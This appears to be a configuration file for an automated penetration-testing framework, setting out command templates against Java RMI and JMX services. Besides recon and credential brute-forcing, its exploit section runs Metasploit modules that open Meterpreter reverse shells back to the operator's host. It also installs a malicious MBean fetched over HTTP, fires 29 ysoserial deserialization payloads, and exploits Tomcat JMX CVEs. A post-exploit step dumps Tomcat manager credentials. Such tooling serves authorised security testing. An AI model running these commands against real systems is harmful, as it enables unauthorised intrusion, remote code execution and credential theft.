#########################################################################################
# JAVA-RMI Settings
#########################################################################################

[config]
default_port = 1099
protocol	 = tcp
categories 	 = recon, defaultcreds, bruteforce, exploit, postexploit

[specific_options]
jmx = boolean
rmissl = boolean
jmx-auth-disabled = boolean


#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Attempt to dump all objects from Java-RMI service
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='rmi-dumpregistry' --stats-every 10s [IP]

[check_rmi-enum]
name        = rmi-enum
category    = recon
description = Enumerate RMI services
tool        = barmie
command_1   = java -jar BaRMIe.jar -enum [IP] [PORT]

[check_jmx-info]
name        = jmx-info
category    = recon
description = Get information about JMX and the MBean server
tool        = twiddle
command_1   = ./bin/twiddle.sh -v --host=[IP] --port=[PORT] serverinfo -d -c -l
context_1   = { 'jmx': True }
command_2   = ./bin/twiddle.sh -v --host=[IP] --port=[PORT] get "jboss.system:type=ServerInfo"
context_2   = { 'jmx': True }


#########################################################################################
# Vulnscan
#########################################################################################
# [check_vuln-lookup]
# name        = vuln-lookup
# category    = vulnscan
# description = Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !)
# tool        = vuln-databases
# command_1   = sudo nmap -sT -sV -T5 -Pn -p [PORT] --script nmap-vulners/vulners.nse --script-args vulscandb=scipvuldb.csv [IP] -oX /tmp/nmaptmp.xml; ./exploit-database/searchsploit --nmap /tmp/nmaptmp.xml; rm -f /tmp/nmaptmp.xml


#########################################################################################
# Defaultcreds
#########################################################################################
[check_jmx-auth-disabled]
name        = jmx-auth-disabled
category    = defaultcreds
description = Check if authentication is disabled on JMX
tool        = jmxbf
command_1   = echo '' > /tmp/jmxbf.txt; java -cp 'jmxbf.jar:./commons-cli-1.4/*' jmxbf -h [IP] -p [PORT] --usernames-file /tmp/jmxbf.txt --passwords-file /tmp/jmxbf.txt
context_1   = { 'jmx': True }

[check_jmx-default-creds]
name        = jmx-default-creds
category    = defaultcreds
description = Check default/common credentials on JMX
tool        = jmxbf
command_1   = java -cp 'jmxbf.jar:./commons-cli-1.4/*' jmxbf -h [IP] -p [PORT] --usernames-file "[WORDLISTSDIR]/services/java-rmi/jmx-usernames.txt" --passwords-file "[WORDLISTSDIR]/services/java-rmi/jmx-common-passwords.txt" 
#context_1   = { 'jmx': True, 'auth_status': NO_AUTH }
context_1   = { 'jmx': True, 'jmx-auth-disabled': False }


#########################################################################################
# Bruteforce
#########################################################################################
[check_jmx-bruteforce-creds]
name        = jmx-bruteforce-creds
category    = bruteforce
description = Bruteforce creds to connect to JMX registry
tool        = jmxbf
command_1   = java -cp 'jmxbf.jar:./commons-cli-1.4/*' jmxbf -h [IP] -p [PORT] --usernames-file "[USERLIST default="services/java-rmi/jmx-usernames.txt"]" --passwords-file "[PASSLIST default="passwords/pass-medium.txt"]"
context_1   = { 'jmx': True, 'jmx-auth-disabled': False, 'auth_status': NO_AUTH }
command_2   = echo [USERNAME] > /tmp/jmxbfuser.txt; java -cp 'jmxbf.jar:./commons-cli-1.4/*' jmxbf -h [IP] -p [PORT] --usernames-file /tmp/jmxbfuser.txt --passwords-file "[PASSLIST default="passwords/pass-medium.txt"]"; rm /tmp/jmxbfuser.txt
context_2   = { 'jmx': True, 'jmx-auth-disabled': False, 'auth_status': USER_ONLY }


#########################################################################################
# Exploit
#########################################################################################
[check_exploit-rmi-default-config]
name        = exploit-rmi-default-config
category    = exploit
description = Exploit default config in RMI Registry to load classes from any remote URL (not working against JMX)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/multi/misc/java_rmi_server; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; set LPORT 8443; set SRVPORT 9080; [RMISSL true="set SSL true"]; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_1   = { 'jmx': False }

[check_exploit-jmx-insecure-config]
name        = exploit-jmx-insecure-config
category    = exploit
description = Exploit JMX insecure config. Auth disabled: should be vuln. Auth enabled: vuln if weak config
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/multi/misc/java_jmx_server; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; set LPORT 8443; set SRVPORT 9080; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_1   = { 'jmx': True, 'auth_status': NO_AUTH }
command_2   = sudo msfconsole -q -x "use exploit/multi/misc/java_jmx_server; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; set LPORT 8443; set SRVPORT 9080; set JMX_ROLE '[USERNAME]'; set JMX_PASSWORD '[PASSWORD]'; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_2   = { 'jmx': True, 'auth_status': POST_AUTH }

[check_exploit-jmx-auth-disabled]
name        = exploit-jmx-auth-disabled
category    = exploit
description = Deploy malicious MBean on JMX service with auth disabled (alternative to msf module)
tool        = sjet
command_1   = jython sjet.py [IP] [PORT] p3nt3st install http://[LOCALIP]:8000 8000
context_1   = { 'jmx': True, 'jmx-auth-disabled': True }
command_2   = jython sjet.py [IP] [PORT] p3nt3st command "id"
context_2   = { 'jmx': True, 'jmx-auth-disabled': True }
command_3   = jython sjet.py [IP] [PORT] p3nt3st command "whoami"
context_3   = { 'jmx': True, 'jmx-auth-disabled': True }
command_4   = jython sjet.py [IP] [PORT] p3nt3st uninstall
context_4   = { 'jmx': True, 'jmx-auth-disabled': True }

[check_tomcat-jmxrmi-deserialize]
name        = tomcat-jmxrmi-deserialize
category    = exploit
description = Exploit JMX-RMI deserialize in Tomcat (CVE-2016-3427, CVE-2016-8735), req. JmxRemoteLifecycleListener
tool        = jexboss
#command_1   = python2.7 jexboss.py --auto-exploit --jmxtomcat -u [IP]:[PORT] --cmd "..."
command_1   = ./run-jexboss-jmxtomcat.sh [IP] [PORT] [LOCALIP]
context_1   = { 'jmx': True }

[check_rmi-deserialize-all-payloads]
name        = rmi-deserialize-all-payloads
category    = exploit
description = Attempt to exploit Java deserialize against Java RMI Registry with all ysoserial payloads
tool        = ysoserial
# Generates commands via: 
# java -jar ysoserial-master.jar 2> a.txt; i=1; for payl in `cat a.txt | grep '@' | awk '{print $1}'`; do echo command_$i = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] $payl [LOCALIP]; i=`expr $i + 1`; done; rm a.txt
command_1  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] BeanShell1 [LOCALIP]
command_2  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] C3P0 [LOCALIP]
command_3  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Clojure [LOCALIP]
command_4  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsBeanutils1 [LOCALIP]
command_5  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections1 [LOCALIP]
command_6  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections2 [LOCALIP]
command_7  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections3 [LOCALIP]
command_8  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections4 [LOCALIP]
command_9  = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections5 [LOCALIP]
command_10 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] CommonsCollections6 [LOCALIP]
command_11 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] FileUpload1 [LOCALIP]
command_12 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Groovy1 [LOCALIP]
command_13 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Hibernate1 [LOCALIP]
command_14 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Hibernate2 [LOCALIP]
command_15 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] JBossInterceptors1 [LOCALIP]
command_16 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] JRMPClient [LOCALIP]
command_17 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] JRMPListener [LOCALIP]
command_18 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] JSON1 [LOCALIP]
command_19 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] JavassistWeld1 [LOCALIP]
command_20 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Jdk7u21 [LOCALIP]
command_21 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Jython1 [LOCALIP]
command_22 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] MozillaRhino1 [LOCALIP]
command_23 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Myfaces1 [LOCALIP]
command_24 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Myfaces2 [LOCALIP]
command_25 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] ROME [LOCALIP]
command_26 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Spring1 [LOCALIP]
command_27 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Spring2 [LOCALIP]
command_28 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] URLDNS [LOCALIP]
command_29 = ./run-ysoserial.sh ysoserial.exploit.RMIRegistryExploit [IP] [PORT] Wicket1 [LOCALIP]


#########################################################################################
# Postexploit
#########################################################################################
[check_tomcat-jmxrmi-manager-creds]
name        = tomcat-jmxrmi-manager-creds
category    = postexploit
description = Retrieve Manager creds on Tomcat JMX (req. auth disabled or creds known on JMX)
tool        = jmxploit
# Attempt anonymous connection (when JMX auth is disabled)
command_1   = java -jar jmxploit.jar --host [IP] --port [PORT] --attack DisplayPassword
context_1   = { 'jmx': True, 'auth_status': NO_AUTH }
# When JMX auth enabled and creds are known
command_2   = java -jar jmxploit.jar --host [IP] --port [PORT] --login '[USERNAME]' --password '[PASSWORD]' --attack DisplayPassword
context_2   = { 'jmx': True, 'auth_status': POST_AUTH }
# 